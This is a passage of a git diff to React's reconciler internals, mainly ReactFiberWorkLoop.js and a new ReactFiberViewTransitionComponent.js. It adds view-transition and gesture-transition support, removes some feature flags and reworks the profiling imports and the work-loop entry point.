-        const cache: Cache = interruptedWork.memoizedState.cache;
-        popCacheProvider(interruptedWork, cache);
-      }
+      const cache: Cache = interruptedWork.memoizedState.cache;
+      popCacheProvider(interruptedWork, cache);
 
       if (enableTransitionTracing) {
         popRootMarkerInstance(interruptedWork);
@@ -249,6 +289,12 @@ function unwindInterruptedWork(
     case HostPortal:
       popHostContainer(interruptedWork);
       break;
+    case ActivityComponent: {
+      if (interruptedWork.memoizedState !== null) {
+        popSuspenseHandler(interruptedWork);
+      }
+      break;
+    }
     case SuspenseComponent:
       popSuspenseHandler(interruptedWork);
       break;
@@ -256,12 +302,7 @@ function unwindInterruptedWork(
       popSuspenseListContext(interruptedWork);
       break;
     case ContextProvider:
-      let context: ReactContext<any>;
-      if (enableRenderableContext) {
-        context = interruptedWork.type;
-      } else {
-        context = interruptedWork.type._context;
-      }
+      const context: ReactContext<any> = interruptedWork.type;
       popProvider(context, interruptedWork);
       break;
     case OffscreenComponent:
@@ -271,10 +312,8 @@ function unwindInterruptedWork(
       popTransition(interruptedWork, current);
       break;
     case CacheComponent:
-      if (enableCache) {
-        const cache: Cache = interruptedWork.memoizedState.cache;
-        popCacheProvider(interruptedWork, cache);
-      }
+      const cache: Cache = interruptedWork.memoizedState.cache;
+      popCacheProvider(interruptedWork, cache);
       break;
     case TracingMarkerComponent:
       if (enableTransitionTracing) {
diff --git a/packages/react-reconciler/src/ReactFiberViewTransitionComponent.js b/packages/react-reconciler/src/ReactFiberViewTransitionComponent.js
new file mode 100644
index 000000000000..37768bcccbd3
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberViewTransitionComponent.js
@@ -0,0 +1,92 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ViewTransitionClass, ViewTransitionProps} from 'shared/ReactTypes';
+import type {FiberRoot} from './ReactInternalTypes';
+import type {ViewTransitionInstance, Instance} from './ReactFiberConfig';
+
+import {
+  getCommittingRoot,
+  getPendingTransitionTypes,
+} from './ReactFiberWorkLoop';
+
+export type ViewTransitionState = {
+  autoName: null | string, // the view-transition-name to use when an explicit one is not specified
+  paired: null | ViewTransitionState, // a temporary state during the commit phase if we have paired this with another instance
+  clones: null | Array<Instance>, // a temporary state during the apply gesture phase if we cloned this boundary
+  ref: null | ViewTransitionInstance, // the current ref instance. This can change through the lifetime of the instance.
+};
+
+let globalClientIdCounter: number = 0;
+
+export function getViewTransitionName(
+  props: ViewTransitionProps,
+  instance: ViewTransitionState,
+): string {
+  if (props.name != null && props.name !== 'auto') {
+    return props.name;
+  }
+  if (instance.autoName !== null) {
+    return instance.autoName;
+  }
+
+  // We assume we always call this in the commit phase.
+  const root = ((getCommittingRoot(): any): FiberRoot);
+  const identifierPrefix = root.identifierPrefix;
+  const globalClientId = globalClientIdCounter++;
+  const name =
+    '_' + identifierPrefix + 't_' + globalClientId.toString(32) + '_';
+  instance.autoName = name;
+  return name;
+}
+
+function getClassNameByType(classByType: ?ViewTransitionClass): ?string {
+  if (classByType == null || typeof classByType === 'string') {
+    return classByType;
+  }
+  let className: ?string = null;
+  const activeTypes = getPendingTransitionTypes();
+  if (activeTypes !== null) {
+    for (let i = 0; i < activeTypes.length; i++) {
+      const match = classByType[activeTypes[i]];
+      if (match != null) {
+        if (match === 'none') {
+          // If anything matches "none" that takes precedence over any other
+          // type that also matches.
+          return 'none';
+        }
+        if (className == null) {
+          className = match;
+        } else {
+          className += ' ' + match;
+        }
+      }
+    }
+  }
+  if (className == null) {
+    // We had no other matches. Match the default for this configuration.
+    return classByType.default;
+  }
+  return className;
+}
+
+export function getViewTransitionClassName(
+  defaultClass: ?ViewTransitionClass,
+  eventClass: ?ViewTransitionClass,
+): ?string {
+  const className: ?string = getClassNameByType(defaultClass);
+  const eventClassName: ?string = getClassNameByType(eventClass);
+  if (eventClassName == null) {
+    return className === 'auto' ? null : className;
+  }
+  if (eventClassName === 'auto') {
+    return null;
+  }
+  return eventClassName;
+}
diff --git a/packages/react-reconciler/src/ReactFiberWorkLoop.js b/packages/react-reconciler/src/ReactFiberWorkLoop.js
index b10be76de1a9..9a3953c1b5a2 100644
--- a/packages/react-reconciler/src/ReactFiberWorkLoop.js
+++ b/packages/react-reconciler/src/ReactFiberWorkLoop.js
@@ -9,44 +9,63 @@
 
 import {REACT_STRICT_MODE_TYPE} from 'shared/ReactSymbols';
 
-import type {Wakeable, Thenable} from 'shared/ReactTypes';
+import type {
+  Wakeable,
+  Thenable,
+  GestureOptionsRequired,
+} from 'shared/ReactTypes';
 import type {Fiber, FiberRoot} from './ReactInternalTypes';
 import type {Lanes, Lane} from './ReactFiberLane';
+import type {ActivityState} from './ReactFiberActivityComponent';
 import type {SuspenseState} from './ReactFiberSuspenseComponent';
 import type {FunctionComponentUpdateQueue} from './ReactFiberHooks';
-import type {EventPriority} from './ReactEventPriorities';
+import type {Transition} from 'react/src/ReactStartTransition';
 import type {
   PendingTransitionCallbacks,
   PendingBoundaries,
-  Transition,
   TransitionAbort,
 } from './ReactFiberTracingMarkerComponent';
-import type {OffscreenInstance} from './ReactFiberActivityComponent';
-import type {RenderTaskFn} from './ReactFiberRootScheduler';
-import type {Resource} from './ReactFiberConfig';
+import type {OffscreenInstance} from './ReactFiberOffscreenComponent';
+import type {
+  Resource,
+  ViewTransitionInstance,
+  RunningViewTransition,
+  GestureTimeline,
+  SuspendedState,
+} from './ReactFiberConfig';
+import type {RootState} from './ReactFiberRoot';
+import {
+  getViewTransitionName,
+  type ViewTransitionState,
+} from './ReactFiberViewTransitionComponent';
+import type {TransitionTypes} from 'react/src/ReactTransitionType';
 
 import {
   enableCreateEventHandleAPI,
   enableProfilerTimer,
   enableProfilerCommitHooks,
   enableProfilerNestedUpdatePhase,
-  enableDebugTracing,
   enableSchedulingProfiler,
-  disableSchedulerTimeoutInWorkLoop,
   enableUpdaterTracking,
-  enableCache,
   enableTransitionTracing,
-  useModernStrictMode,
   disableLegacyContext,
   alwaysThrottleRetries,
   enableInfiniteRenderLoopDetection,
   disableLegacyMode,
-  disableDefaultPropsExceptForClasses,
-  disableStringRefs,
+  enableComponentPerformanceTrack,
+  enableYieldingBeforePassive,
+  enableThrottledScheduling,
+  enableViewTransition,
+  enableGestureTransition,
+  enableDefaultTransitionIndicator,
+  enableParallelTransitions,
 } from 'shared/ReactFeatureFlags';
+import {resetOwnerStackLimit} from 'shared/ReactOwnerStackReset';
 import ReactSharedInternals from 'shared/ReactSharedInternals';
 import is from 'shared/objectIs';
 
+import reportGlobalError from 'shared/reportGlobalError';
+
 import {
   // Aliased because `act` will override and push to an internal queue
   scheduleCallback as Scheduler_scheduleCallback,
@@ -57,15 +76,30 @@ import {
   IdlePriority as IdleSchedulerPriority,
 } from './Scheduler';
 import {
-  logCommitStarted,
-  logCommitStopped,
-  logLayoutEffectsStarted,
-  logLayoutEffectsStopped,
-  logPassiveEffectsStarted,
-  logPassiveEffectsStopped,
-  logRenderStarted,
-  logRenderStopped,
-} from './DebugTracing';
+  logBlockingStart,
+  logGestureStart,
+  logTransitionStart,
+  logRenderPhase,
+  logInterruptedRenderPhase,
+  logSuspendedRenderPhase,
+  logRecoveredRenderPhase,
+  logErroredRenderPhase,
+  logInconsistentRender,
+  logSuspendedWithDelayPhase,
+  logSuspendedCommitPhase,
+  logSuspendedViewTransitionPhase,
+  logCommitPhase,
+  logPaintYieldPhase,
+  logStartViewTransitionYieldPhase,
+  logAnimatingPhase,
+  logPassiveCommitPhase,
+  logYieldTime,
+  logActionYieldTime,
+  logSuspendedYieldTime,
+  setCurrentTrackFromLanes,
+  markAllLanesInOrder,
+  logApplyGesturePhase,
+} from './ReactFiberPerformanceTrack';
 
 import {
   resetAfterCommit,
@@ -74,29 +108,41 @@ import {
   noTimeout,
   afterActiveInstanceBlur,
   startSuspendingCommit,
+  suspendOnActiveViewTransition,
   waitForCommitToBeReady,
+  getSuspendedCommitReason,
   preloadInstance,
   preloadResource,
   supportsHydration,
   setCurrentUpdatePriority,
   getCurrentUpdatePriority,
   resolveUpdatePriority,
+  trackSchedulerEvent,
+  startViewTransition,
+  startGestureTransition,
+  stopViewTransition,
+  addViewTransitionFinishedListener,
+  createViewTransitionInstance,
+  flushHydrationEvents,
 } from './ReactFiberConfig';
 
 import {createWorkInProgress, resetWorkInProgress} from './ReactFiber';
 import {isRootDehydrated} from './ReactFiberShellHydration';
-import {getIsHydrating} from './ReactFiberHydrationContext';
+import {
+  getIsHydrating,
+  popHydrationStateOnInterruptedWork,
+} from './ReactFiberHydrationContext';
 import {
   NoMode,
   ProfileMode,
   ConcurrentMode,
   StrictLegacyMode,
   StrictEffectsMode,
-  NoStrictPassiveEffectsMode,
 } from './ReactTypeOfMode';
 import {
   HostRoot,
   ClassComponent,
+  ActivityComponent,
   SuspenseComponent,
   SuspenseListComponent,
   OffscreenComponent,
@@ -127,6 +173,8 @@ import {
   DidDefer,
   ShouldSuspendCommit,
   MaySuspendCommit,
+  ScheduleRetry,
+  PassiveTransitionMask,
 } from './ReactFiberFlags';
 import {
   NoLanes,
@@ -142,6 +190,9 @@ import {
   includesOnlyRetries,
   includesOnlyTransitions,
   includesBlockingLane,
+  includesTransitionLane,
+  includesRetryLane,
+  includesIdleGroupLanes,
   includesExpiredLane,
   getNextLanes,
   getEntangledLanes,
@@ -159,7 +210,14 @@ import {
   OffscreenLane,
   SyncUpdateLanes,
   UpdateLanes,
-  claimNextTransitionLane,
+  claimNextTransitionDeferredLane,
+  checkIfRootIsPrerendering,
+  includesOnlyViewTransitionEligibleLanes,
+  isGestureRender,
+  GestureLane,
+  SomeTransitionLane,
+  SomeRetryLane,
+  IdleLane,
 } from './ReactFiberLane';
 import {
   DiscreteEventPriority,
@@ -184,9 +242,10 @@ import {
 } from './ReactFiberThrow';
 import {
   commitBeforeMutationEffects,
+  shouldFireAfterActiveInstanceBlur,
+  commitAfterMutationEffects,
   commitLayoutEffects,
   commitMutationEffects,
-  commitPassiveEffectDurations,
   commitPassiveMountEffects,
   commitPassiveUnmountEffects,
   disappearLayoutEffects,
@@ -199,6 +258,13 @@ import {
   invokePassiveEffectUnmountInDEV,
   accumulateSuspenseyCommit,
 } from './ReactFiberCommitWork';
+import {resetShouldStartViewTransition} from './ReactFiberCommitViewTransitions';
+import {shouldStartViewTransition} from './ReactFiberCommitViewTransitions';
+import {
+  insertDestinationClones,
+  applyDepartureTransitions,
+  startGestureAnimations,
+} from './ReactFiberApplyGesture';
 import {enqueueUpdate} from './ReactFiberClassUpdateQueue';
 import {resetContextDependencies} from './ReactFiberNewContext';
 import {
@@ -218,12 +284,72 @@ import {
 } from './ReactFiberConcurrentUpdates';
 
 import {
+  blockingClampTime,
+  blockingUpdateTime,
+  blockingUpdateTask,
+  blockingUpdateType,
+  blockingUpdateMethodName,
+  blockingUpdateComponentName,
+  blockingEventTime,
+  blockingEventType,
+  blockingEventRepeatTime,
+  blockingSuspendedTime,
+  gestureClampTime,
+  gestureUpdateTime,
+  gestureUpdateTask,
+  gestureUpdateType,
+  gestureUpdateMethodName,
+  gestureUpdateComponentName,
+  gestureEventTime,
+  gestureEventType,
+  gestureEventRepeatTime,
+  gestureSuspendedTime,
+  transitionClampTime,
+  transitionStartTime,
+  transitionUpdateTime,
+  transitionUpdateTask,
+  transitionUpdateType,
+  transitionUpdateMethodName,
+  transitionUpdateComponentName,
+  transitionEventTime,
+  transitionEventType,
+  transitionEventRepeatTime,
+  transitionSuspendedTime,
+  clearBlockingTimers,
+  clearGestureTimers,
+  clearGestureUpdates,
+  clearTransitionTimers,
+  clampBlockingTimers,
+  clampGestureTimers,
+  clampTransitionTimers,
+  clampRetryTimers,
+  clampIdleTimers,
   markNestedUpdateScheduled,
+  renderStartTime,
+  commitStartTime,
+  commitEndTime,
+  commitErrors,
+  recordRenderTime,
   recordCommitTime,
-  resetNestedUpdateFlag,
+  recordCommitEndTime,
   startProfilerTimer,
-  stopProfilerTimerIfRunningAndRecordDelta,
-  syncNestedUpdateFlag,
+  stopProfilerTimerIfRunningAndRecordDuration,
+  stopProfilerTimerIfRunningAndRecordIncompleteDuration,
+  trackSuspendedTime,
+  startYieldTimer,
+  yieldStartTime,
+  yieldReason,
+  startPingTimerByLanes,
+  recordEffectError,
+  resetCommitErrors,
+  PINGED_UPDATE,
+  SPAWNED_UPDATE,
+  startAnimating,
+  stopAnimating,
+  animatingLanes,
+  retryClampTime,
+  idleClampTime,
+  animatingTask,
 } from './ReactProfilerTimer';
 
 // DEV stuff
@@ -261,6 +387,7 @@ import {
 import {processTransitionCallbacks} from './ReactFiberTracingMarkerComponent';
 import {
   SuspenseException,
+  SuspenseActionException,
   SuspenseyCommitException,
   getSuspendedThenable,
   isThenableResolved,
@@ -270,18 +397,20 @@ import {
   getSuspenseHandler,
   getShellBoundary,
 } from './ReactFiberSuspenseContext';
-import {resolveDefaultPropsOnNonClassComponent} from './ReactFiberLazyComponent';
 import {resetChildReconcilerOnUnwind} from './ReactChildFiber';
 import {
   ensureRootIsScheduled,
   flushSyncWorkOnAllRoots,
   flushSyncWorkOnLegacyRootsOnly,
-  getContinuationForRoot,
   requestTransitionLane,
 } from './ReactFiberRootScheduler';
-import {getMaskedContext, getUnmaskedContext} from './ReactFiberContext';
-import {peekEntangledActionLane} from './ReactFiberAsyncAction';
+import {getMaskedContext, getUnmaskedContext} from './ReactFiberLegacyContext';
 import {logUncaughtError} from './ReactFiberErrorLogger';
+import {
+  scheduleGestureCommit,
+  stopCommittedGesture,
+} from './ReactFiberGestureScheduler';
+import {claimQueuedTransitionTypes} from './ReactFiberTransitionTypes';
 
 const PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;
 
@@ -298,8 +427,8 @@ const RootFatalErrored = 1;
 const RootErrored = 2;
 const RootSuspended = 3;
 const RootSuspendedWithDelay = 4;
+const RootSuspendedAtTheShell = 6;
 const RootCompleted = 5;
-const RootDidNotComplete = 6;
 
 // Describes where we are in the React execution stack
 let executionContext: ExecutionContext = NoContext;
@@ -310,7 +439,7 @@ let workInProgress: Fiber | null = null;
 // The lanes we're rendering
 let workInProgressRootRenderLanes: Lanes = NoLanes;
 
-opaque type SuspendedReason = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8;
+export opaque type SuspendedReason = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
 const NotSuspended: SuspendedReason = 0;
 const SuspendedOnError: SuspendedReason = 1;
 const SuspendedOnData: SuspendedReason = 2;
@@ -320,6 +449,7 @@ const SuspendedOnInstanceAndReadyToContinue: SuspendedReason = 5;
 const SuspendedOnDeprecatedThrowPromise: SuspendedReason = 6;
 const SuspendedAndReadyToContinue: SuspendedReason = 7;
 const SuspendedOnHydration: SuspendedReason = 8;
+const SuspendedOnAction: SuspendedReason = 9;
 
 // When this is true, the work-in-progress fiber just suspended (or errored) and
 // we've yet to unwind the stack. In some cases, we may yield to the main thread
@@ -328,6 +458,15 @@ const SuspendedOnHydration: SuspendedReason = 8;
 let workInProgressSuspendedReason: SuspendedReason = NotSuspended;
 let workInProgressThrownValue: mixed = null;
 
+// Tracks whether any siblings were skipped during the unwind phase after
+// something suspends. Used to determine whether to schedule another render
+// to prewarm the skipped siblings.
+let workInProgressRootDidSkipSuspendedSiblings: boolean = false;
+// Whether the work-in-progress render is the result of a prewarm/prerender.
+// This tells us whether or not we should render the siblings after
+// something suspends.
+let workInProgressRootIsPrerendering: boolean = false;
+
 // Whether a ping listener was attached during this render. This is slightly
 // different that whether something suspended, because we don't add multiple
 // listeners to a promise we've already seen (per root and lane).
@@ -354,8 +493,11 @@ let workInProgressRootInterleavedUpdatedLanes: Lanes = NoLanes;
 let workInProgressRootRenderPhaseUpdatedLanes: Lanes = NoLanes;
 // Lanes that were pinged (in an interleaved event) during this render.
 let workInProgressRootPingedLanes: Lanes = NoLanes;
-// If this lane scheduled deferred work, this is the lane of the deferred task.
+// If this render scheduled deferred work, this is the lane of the deferred task.
 let workInProgressDeferredLane: Lane = NoLane;
+// Represents the retry lanes that were spawned by this render and have not
+// been pinged since, implying that they are still suspended.
+let workInProgressSuspendedRetryLanes: Lanes = NoLanes;
 // Errors that are thrown during the render phase.
 let workInProgressRootConcurrentErrors: Array<CapturedValue<mixed>> | null =
   null;
@@ -370,12 +512,16 @@ let workInProgressRootDidIncludeRecursiveRenderUpdate: boolean = false;
 // variable from the one for renders because the commit phase may run
 // concurrently to a render phase.
 let didIncludeCommitPhaseUpdate: boolean = false;
-
 // The most recent time we either committed a fallback, or when a fallback was
 // filled in with the resolved UI. This lets us throttle the appearance of new
 // content as it streams in, to minimize jank.
 // TODO: Think of a better name for this variable?
 let globalMostRecentFallbackTime: number = 0;
+// Track the most recent time we started a new Transition. This lets us apply
+// heuristics like the suspensey image timeout based on how long we've waited
+// already.
+let globalMostRecentTransitionTime: number = 0;
+
 const FALLBACK_THROTTLE_MS: number = 300;
 
 // The absolute time for when we should start giving up on rendering
@@ -390,6 +536,9 @@ export function getWorkInProgressTransitions(): null | Array<Transition> {
   return workInProgressTransitions;
 }
 
+// The first setState call that eventually caused the current render.
+let workInProgressUpdateTask: null | ConsoleTask = null;
+
 let currentPendingTransitionCallbacks: PendingTransitionCallbacks | null = null;
 let currentEndTime: number | null = null;
 
@@ -561,12 +710,39 @@ export function getRenderTargetTime(): number {
 
 let legacyErrorBoundariesThatAlreadyFailed: Set<mixed> | null = null;
 
-let rootDoesHavePassiveEffects: boolean = false;
-let rootWithPendingPassiveEffects: FiberRoot | null = null;
-let pendingPassiveEffectsLanes: Lanes = NoLanes;
-let pendingPassiveProfilerEffects: Array<Fiber> = [];
-let pendingPassiveEffectsRemainingLanes: Lanes = NoLanes;
+type SuspendedCommitReason = null | string;
+
+type DelayedCommitReason = 0 | 1 | 2 | 3;
+const IMMEDIATE_COMMIT = 0;
+const ABORTED_VIEW_TRANSITION_COMMIT = 1;
+const DELAYED_PASSIVE_COMMIT = 2;
+const ANIMATION_STARTED_COMMIT = 3;
+
+const NO_PENDING_EFFECTS = 0;
+const PENDING_MUTATION_PHASE = 1;
+const PENDING_LAYOUT_PHASE = 2;
+const PENDING_AFTER_MUTATION_PHASE = 3;
+const PENDING_SPAWNED_WORK = 4;
+const PENDING_PASSIVE_PHASE = 5;
+const PENDING_GESTURE_MUTATION_PHASE = 6;
+const PENDING_GESTURE_ANIMATION_PHASE = 7;
+let pendingEffectsStatus: 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 = 0;
+let pendingEffectsRoot: FiberRoot = (null: any);
+let pendingFinishedWork: Fiber = (null: any);
+let pendingEffectsLanes: Lanes = NoLanes;
+let pendingEffectsRemainingLanes: Lanes = NoLanes;
+let pendingEffectsRenderEndTime: number = -0; // Profiling-only
 let pendingPassiveTransitions: Array<Transition> | null = null;
+let pendingRecoverableErrors: null | Array<CapturedValue<mixed>> = null;
+let pendingViewTransition: null | RunningViewTransition = null;
+let pendingViewTransitionEvents: Array<
+  (types: Array<string>) => void | (() => void),
+> | null = null;
+let pendingTransitionTypes: null | TransitionTypes = null;
+let pendingDidIncludeRenderPhaseUpdate: boolean = false;
+let pendingSuspendedCommitReason: SuspendedCommitReason = null; // Profiling-only
+let pendingDelayedCommitReason: DelayedCommitReason = IMMEDIATE_COMMIT; // Profiling-only
+let pendingSuspendedViewTransitionReason: null | string = null; // Profiling-only
 
 // Use these to prevent an infinite loop of nested updates
 const NESTED_UPDATE_LIMIT = 50;
@@ -575,6 +751,11 @@ let rootWithNestedUpdates: FiberRoot | null = null;
 let isFlushingPassiveEffects = false;
 let didScheduleUpdateDuringPassiveEffects = false;
 
+const NO_NESTED_UPDATE = 0;
+const NESTED_UPDATE_SYNC_LANE = 1;
+const NESTED_UPDATE_PHASE_SPAWN = 2;
+let nestedUpdateKind: 0 | 1 | 2 = NO_NESTED_UPDATE;
+
 const NESTED_PASSIVE_UPDATE_LIMIT = 50;
 let nestedPassiveUpdateCount: number = 0;
 let rootWithPassiveNestedUpdates: FiberRoot | null = null;
@@ -585,12 +766,40 @@ export function getWorkInProgressRoot(): FiberRoot | null {
   return workInProgressRoot;
 }
 
+export function getCommittingRoot(): FiberRoot | null {
+  return pendingEffectsRoot;
+}
+
 export function getWorkInProgressRootRenderLanes(): Lanes {
   return workInProgressRootRenderLanes;
 }
 
+export function hasPendingCommitEffects(): boolean {
+  return (
+    pendingEffectsStatus !== NO_PENDING_EFFECTS &&
+    pendingEffectsStatus !== PENDING_PASSIVE_PHASE
+  );
+}
+
+export function getRootWithPendingPassiveEffects(): FiberRoot | null {
+  return pendingEffectsStatus === PENDING_PASSIVE_PHASE
+    ? pendingEffectsRoot
+    : null;
+}
+
+export function getPendingPassiveEffectsLanes(): Lanes {
+  return pendingEffectsLanes;
+}
+
+export function getPendingTransitionTypes(): null | TransitionTypes {
+  return pendingTransitionTypes;
+}
+
 export function isWorkLoopSuspendedOnData(): boolean {
-  return workInProgressSuspendedReason === SuspendedOnData;
+  return (
+    workInProgressSuspendedReason === SuspendedOnData ||
+    workInProgressSuspendedReason === SuspendedOnAction
+  );
 }
 
 export function getCurrentTime(): number {
@@ -620,6 +829,16 @@ export function requestUpdateLane(fiber: Fiber): Lane {
 
   const transition = requestCurrentTransition();
   if (transition !== null) {
+    if (enableGestureTransition) {
+      if (transition.gesture) {
+        throw new Error(
+          'Cannot setState on regular state inside a startGestureTransition. ' +
+            'Gestures can only update the useOptimistic() hook. There should be no ' +
+            'side-effects associated with starting a Gesture until its Action is ' +
+            'invoked. Move side-effects to the Action instead.',
+        );
+      }
+    }
     if (__DEV__) {
       if (!transition._updatedFibers) {
         transition._updatedFibers = new Set();
@@ -627,14 +846,7 @@ export function requestUpdateLane(fiber: Fiber): Lane {
       transition._updatedFibers.add(fiber);
     }
 
-    const actionScopeLane = peekEntangledActionLane();
-    return actionScopeLane !== NoLane
-      ? // We're inside an async action scope. Reuse the same lane.
-        actionScopeLane
-      : // We may or may not be inside an async action scope. If we are, this
-        // is the first update in that scope. Either way, we need to get a
-        // fresh transition lane.
-        requestTransitionLane(transition);
+    return requestTransitionLane(transition);
   }
 
   return eventPriorityToLane(resolveUpdatePriority());
@@ -677,7 +889,7 @@ export function requestDeferredLane(): Lane {
       workInProgressDeferredLane = OffscreenLane;
     } else {
       // Everything else is spawned as a transition.
-      workInProgressDeferredLane = claimNextTransitionLane();
+      workInProgressDeferredLane = claimNextTransitionDeferredLane();
     }
   }
 
@@ -693,6 +905,66 @@ export function requestDeferredLane(): Lane {
   return workInProgressDeferredLane;
 }
 
+export function scheduleViewTransitionEvent(
+  fiber: Fiber,
+  callback: ?(
+    instance: ViewTransitionInstance,
+    types: Array<string>,
+  ) => void | (() => void),
+): void {
+  if (enableViewTransition) {
+    if (callback != null) {
+      const state: ViewTransitionState = fiber.stateNode;
+      let instance = state.ref;
+      if (instance === null) {
+        instance = state.ref = createViewTransitionInstance(
+          getViewTransitionName(fiber.memoizedProps, state),
+        );
+      }
+      if (pendingViewTransitionEvents === null) {
+        pendingViewTransitionEvents = [];
+      }
+      pendingViewTransitionEvents.push(callback.bind(null, instance));
+    }
+  }
+}
+
+export function scheduleGestureTransitionEvent(
+  fiber: Fiber,
+  callback: ?(
+    timeline: GestureTimeline,
+    options: GestureOptionsRequired,
+    instance: ViewTransitionInstance,
+    types: Array<string>,
+  ) => void | (() => void),
+): void {
+  if (enableGestureTransition) {
+    if (callback != null) {
+      const applyingGesture = pendingEffectsRoot.pendingGestures;
+      if (applyingGesture !== null) {
+        const state: ViewTransitionState = fiber.stateNode;
+        let instance = state.ref;
+        if (instance === null) {
+          instance = state.ref = createViewTransitionInstance(
+            getViewTransitionName(fiber.memoizedProps, state),
+          );
+        }
+        const timeline = applyingGesture.provider;
+        const options = {
+          rangeStart: applyingGesture.rangeStart,
+          rangeEnd: applyingGesture.rangeEnd,
+        };
+        if (pendingViewTransitionEvents === null) {
+          pendingViewTransitionEvents = [];
+        }
+        pendingViewTransitionEvents.push(
+          callback.bind(null, timeline, options, instance),
+        );
+      }
+    }
+  }
+}
+
 export function peekDeferredLane(): Lane {
   return workInProgressDeferredLane;
 }
@@ -719,17 +991,20 @@ export function scheduleUpdateOnFiber(
   if (
     // Suspended render phase
     (root === workInProgressRoot &&
-      workInProgressSuspendedReason === SuspendedOnData) ||
+      (workInProgressSuspendedReason === SuspendedOnData ||
+        workInProgressSuspendedReason === SuspendedOnAction)) ||
     // Suspended commit phase
     root.cancelPendingCommit !== null
   ) {
     // The incoming update might unblock the current render. Interrupt the
     // current attempt and restart from the top.
     prepareFreshStack(root, NoLanes);
+    const didAttemptEntireTree = false;
     markRootSuspended(
       root,
       workInProgressRootRenderLanes,
       workInProgressDeferredLane,
+      didAttemptEntireTree,
     );
   }
 
@@ -737,7 +1012,7 @@ export function scheduleUpdateOnFiber(
   markRootUpdated(root, lane);
 
   if (
-    (executionContext & RenderContext) !== NoLanes &&
+    (executionContext & RenderContext) !== NoContext &&
     root === workInProgressRoot
   ) {
     // This update was dispatched during the render phase. This is a mistake
@@ -770,8 +1045,6 @@ export function scheduleUpdateOnFiber(
           transition.startTime = now();
         }
 
-        // $FlowFixMe[prop-missing]: The BatchConfigTransition and Transition types are incompatible but was previously untyped and thus uncaught
-        // $FlowFixMe[incompatible-call]: "
         addTransitionToLanesMap(root, transition, lane);
       }
     }
@@ -792,10 +1065,12 @@ export function scheduleUpdateOnFiber(
         // effect of interrupting the current render and switching to the update.
         // TODO: Make sure this doesn't override pings that happen while we've
         // already started rendering.
+        const didAttemptEntireTree = false;
         markRootSuspended(
           root,
           workInProgressRootRenderLanes,
           workInProgressDeferredLane,
+          didAttemptEntireTree,
         );
       }
     }
@@ -844,149 +1119,201 @@ export function isUnsafeClassRenderPhaseUpdate(fiber: Fiber): boolean {
   return (executionContext & RenderContext) !== NoContext;
 }
 
-// This is the entry point for every concurrent task, i.e. anything that
-// goes through Scheduler.
-export function performConcurrentWorkOnRoot(
+export function performWorkOnRoot(
   root: FiberRoot,
-  didTimeout: boolean,
-): RenderTaskFn | null {
-  if (enableProfilerTimer && enableProfilerNestedUpdatePhase) {
-    resetNestedUpdateFlag();
-  }
-
+  lanes: Lanes,
+  forceSync: boolean,
+): void {
   if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
     throw new Error('Should not already be working.');
   }
 
-  // Flush any pending passive effects before deciding which lanes to work on,
-  // in case they schedule additional work.
-  const originalCallbackNode = root.callbackNode;
-  const didFlushPassiveEffects = flushPassiveEffects();
-  if (didFlushPassiveEffects) {
-    // Something in the passive effect phase may have canceled the current task.
-    // Check if the task node for this root was changed.
-    if (root.callbackNode !== originalCallbackNode) {
-      // The current task was canceled. Exit. We don't need to call
-      // `ensureRootIsScheduled` because the check above implies either that
-      // there's a new task, or that there's no remaining work on this root.
-      return null;
-    } else {
-      // Current task was not canceled. Continue.
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    if (workInProgressRootRenderLanes !== NoLanes && workInProgress !== null) {
+      const yieldedFiber = workInProgress;
+      // We've returned from yielding to the event loop. Let's log the time it took.
+      const yieldEndTime = now();
+      switch (yieldReason) {
+        case SuspendedOnImmediate:
+        case SuspendedOnData:
+          logSuspendedYieldTime(yieldStartTime, yieldEndTime, yieldedFiber);
+          break;
+        case SuspendedOnAction:
+          logActionYieldTime(yieldStartTime, yieldEndTime, yieldedFiber);
+          break;
+        default:
+          logYieldTime(yieldStartTime, yieldEndTime);
+      }
     }
   }
 
-  // Determine the next lanes to work on, using the fields stored
-  // on the root.
-  // TODO: This was already computed in the caller. Pass it as an argument.
-  let lanes = getNextLanes(
-    root,
-    root === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes,
-  );
-  if (lanes === NoLanes) {
-    // Defensive coding. This is never expected to happen.
-    return null;
-  }
-
   // We disable time-slicing in some cases: if the work has been CPU-bound
   // for too long ("expired" work, to prevent starvation), or we're in
   // sync-updates-by-default mode.
-  // TODO: We only check `didTimeout` defensively, to account for a Scheduler
-  // bug we're still investigating. Once the bug in Scheduler is fixed,
-  // we can remove this, since we track expiration ourselves.
   const shouldTimeSlice =
-    !includesBlockingLane(root, lanes) &&
-    !includesExpiredLane(root, lanes) &&
-    (disableSchedulerTimeoutInWorkLoop || !didTimeout);
-  let exitStatus = shouldTimeSlice
+    (!forceSync &&
+      !includesBlockingLane(lanes) &&
+      !includesExpiredLane(root, lanes)) ||
+    // If we're prerendering, then we should use the concurrent work loop
+    // even if the lanes are synchronous, so that prerendering never blocks
+    // the main thread.
+    // TODO: We should consider doing this whenever a sync lane is suspended,
+    // even for regular pings.
+    checkIfRootIsPrerendering(root, lanes);
+
+  let exitStatus: RootExitStatus = shouldTimeSlice
     ? renderRootConcurrent(root, lanes)
-    : renderRootSync(root, lanes);
+    : renderRootSync(root, lanes, true);
 
-  if (exitStatus !== RootInProgress) {
-    let renderWasConcurrent = shouldTimeSlice;
-    do {
-      if (exitStatus === RootDidNotComplete) {
-        // The render unwound without completing the tree. This happens in special
-        // cases where need to exit the current render without producing a
-        // consistent tree or committing.
-        markRootSuspended(root, lanes, NoLane);
-      } else {
-        // The render completed.
-
-        // Check if this render may have yielded to a concurrent event, and if so,
-        // confirm that any newly rendered stores are consistent.
-        // TODO: It's possible that even a concurrent render may never have yielded
-        // to the main thread, if it was fast enough, or if it expired. We could
-        // skip the consistency check in that case, too.
-        const finishedWork: Fiber = (root.current.alternate: any);
-        if (
-          renderWasConcurrent &&
-          !isRenderConsistentWithExternalStores(finishedWork)
-        ) {
-          // A store was mutated in an interleaved event. Render again,
-          // synchronously, to block further mutations.
-          exitStatus = renderRootSync(root, lanes);
